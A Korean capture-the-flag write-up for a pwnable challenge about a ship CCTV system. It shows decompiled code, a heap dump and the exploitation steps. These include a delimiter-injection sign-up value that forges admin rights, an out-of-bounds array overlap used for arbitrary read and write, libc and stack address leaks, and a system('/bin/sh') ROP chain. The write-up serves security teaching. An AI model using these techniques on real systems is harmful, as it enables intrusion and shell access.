[2025 Hacksium Busan 본선] 선박 CCTV 시스템
카테고리
Pwnable
문제 분석 및 풀이
서버에 처음 접속하면 회원가입 기능과 로그인 기능이 있는데, 회원가입 기능은 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 SignUp()
{
...
printf("[*] New ID: ");
fgets(s, 32, stdin);
s[strcspn(s, "\n")] = 0;
printf("[*] New PW: ");
fgets(v3, 32, stdin);
v3[strcspn(v3, "\n")] = 0;
stream = fopen("accounts.db", "a");
if ( stream )
{
fprintf(stream, "%s:%s:%d\n", s, v3, 0LL);
fclose(stream);
puts("[+] Sign up complete.");
}
...
- 입력한 ID와 PW가 “:”으로 구분되어 “accounts.db” 파일에 저장된다.
로그인 기능은 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 Login()
{
...
printf("[*] ID: ");
fgets(s, 32, stdin);
s[strcspn(s, "\n")] = 0;
printf("[*] PW: ");
fgets(s2, 32, stdin);
s2[strcspn(s2, "\n")] = 0;
stream = fopen("accounts.db", "r");
if ( stream )
{
v2 = 0;
while ( fgets(v9, 128, stream) )
{
v1 = 0;
v3 = __isoc99_sscanf(v9, "%31[^:]:%31[^:]:%d[^\n]", s1, v8, &v1);
if ( v3 == 3 && !strcmp(s1, s) && !strcmp(v8, s2) )
{
strncpy(userID, s, 0x1FuLL);
isAdmin = v1;
v2 = 1;
break;
}
}
...
- ID와 PW를 입력받고, “accounts.db” 파일에서 한 줄씩 읽어 “:”으로 잘라 각각 ID, PW, Admin여부로 사용한다.
회원가입과 로그인을 할 때 “:”을 기준으로 필드를 구분하는데, 회원가입 시 ID와 PW를 입력할 때 “:”을 입력할 수 있으므로, 이 구조를 조작할 수 있다.
ID를 “a:a:1:asd”, PW를 “asd”로 입력하고 회원가입하면 “accounts.db”에는 “a:a:1:asd:asd”가 저장된다.
이를 Login
함수에서 해석할 때는 ID 필드가 “a”, PW 필드가 “a”, Admin여부 필드가 “1”로 인식되므로 “a”, “a”로 로그인하면 admin 계정으로 로그인할 수 있다.
로그인에 성공하면, 힙 청크(이하 스트림)를 할당, 수정, 삭제할 수 있는 기능들을 사용할 수 있다.
힙 청크는 할당하면 데이터 영역의 배열에 저장되며, 데이터 영역의 구조와 스트림의 구조는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
typedef struct _stream {
char name[32];
char rtspURL[64];
} STREAM;
STREAM streams[8]; // bss:0x5040 | 힙 청크 주소가 저장되는 전역 배열.
char userID[32]; // bss:0x5080 | 로그인 당시 사용한 ID가 저장되는 문자열.
int isAdmin; // bss:0x50A0 | admin 여부.
int streamCnt; // bss:0x50A4 | 지금까지 할당된 stream 갯수.
또한, 스트림과 관련된 아래 4가지 함수가 있다.
AddStream
: 원하는 인덱스에 스트림을 새롭게 할당하고,streams
배열에 그 주소를 저장한다.1 2 3 4 5 6 7 8 9 10
v2 = (char *)malloc(0x60uLL); if ( !v2 ) exit(1); printf("[*] Stream name: "); fgets(v2, 32, stdin); v2[strcspn(v2, "\n")] = 0; printf("[*] RTSP URL: "); fgets(v2 + 32, 64, stdin); entries[index] = v2; ++streamCnt;
ShowStream
: 할당한 스트림을 인덱스 기반으로 접근하고name
과rtspURL
필드를 출력해준다.1 2 3 4 5 6 7
if ( index >= 0 && index < streamCnt && entries[index] ) { v2 = (const char *)entries[index]; printf("Stream #%d\n", (unsigned int)index); printf("Name: %s\n", v2); printf("RTSP: %s\n", v2 + 32); }
DeleteStream
: 할당한 스트림을 인덱스 기반으로 접근하고, 삭제한다. (free
)EditStream
: 할당한 스트림을 인덱스 기반으로 접근하고,name
과rtspURL
필드를 수정한다.1 2 3 4 5 6 7 8 9
if ( index >= 0 && index < streamCnt && entries[index] ) { buf = (char *)entries[index]; printf("[*] New stream name: "); read(0, buf, 0x20uLL); printf("[*] New stream url: "); read(0, buf + 32, 0x40uLL); puts("[+] Name updated."); }
스트림을 생성하는 함수에서는 STREAM 구조체를 동적 할당하고 streams
배열에 그 주소를 저장하는데, 갯수에 대한 제한이 없기 때문에 8개보다 많이 생성할 수 있다.
그런데 데이터 영역의 구조를 보면, streams[8]
위치에는 userID
가 저장되어 있다. 메뉴를 출력하는 과정에서 항상 userID
를 출력해주기 때문에, 9번째 스트림을 생성하면 메뉴 출력 과정에서 힙 주소를 leak할 수 있다.
userID
는 회원가입과 로그인 과정에서 자유롭게 조작할 수 있기 때문에, userID
를 원하는 주소로 입력한 후, 청크를 0번 인덱스에 9개 생성하고 8번 인덱스에 ShowStream
함수나 EditStream
함수로 접근하면, 해당 주소를 읽거나 조작할 수 있다.
힙 영역을 보면 “accounts.db” 파일 작업을 할 때 사용했던 FILE
구조체가 해제된 상태로 저장되어 있는데, FILE
구조체의 끝자락에는 libc 영역의 vtable이 저장되어 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555a000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x55555555a290
Size: 0x20 (with flag bits: 0x21)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55555555a2b0
Size: 0x1e0 (with flag bits: 0x1e1)
fd: 0x55555555a
Top chunk | PREV_INUSE
Addr: 0x55555555a490
Size: 0x20b70 (with flag bits: 0x20b71)
pwndbg> x/gx 0x55555555a490
0x55555555a490: 0x00007ffff7fa00c0
pwndbg> x/gx 0x00007ffff7fa00c0
0x7ffff7fa00c0 <_IO_wfile_jumps>: 0x0000000000000000
pwndbg> vmmap 0x00007ffff7fa00c0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x7ffff7f9e000 0x7ffff7f9f000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
► 0x7ffff7f9f000 0x7ffff7fa3000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x10c0
0x7ffff7fa3000 0x7ffff7fa5000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
userID
를 해당 주소로 입력하고, 이를 ShowStream
함수로 읽어서 libc 베이스 주소를 얻을 수 있다.
libc 베이스 주소를 얻었다면, userID
를 __environ
변수 주소로 입력하고, 이를 읽으면 스택 주소를 얻을 수 있다.
스택 주소를 얻었다면, 스택 주소를 8씩 빼가면서 반환 주소의 위치를 찾고, 해당 위치에 접근할 수 있다면 EditStream
함수를 이용해 p64(pop_rdi) + p64("/bin/sh" 주소) + p64(ret) + p64(system)
로 덮어쓴 후 반환하면 쉘을 실행할 수 있다.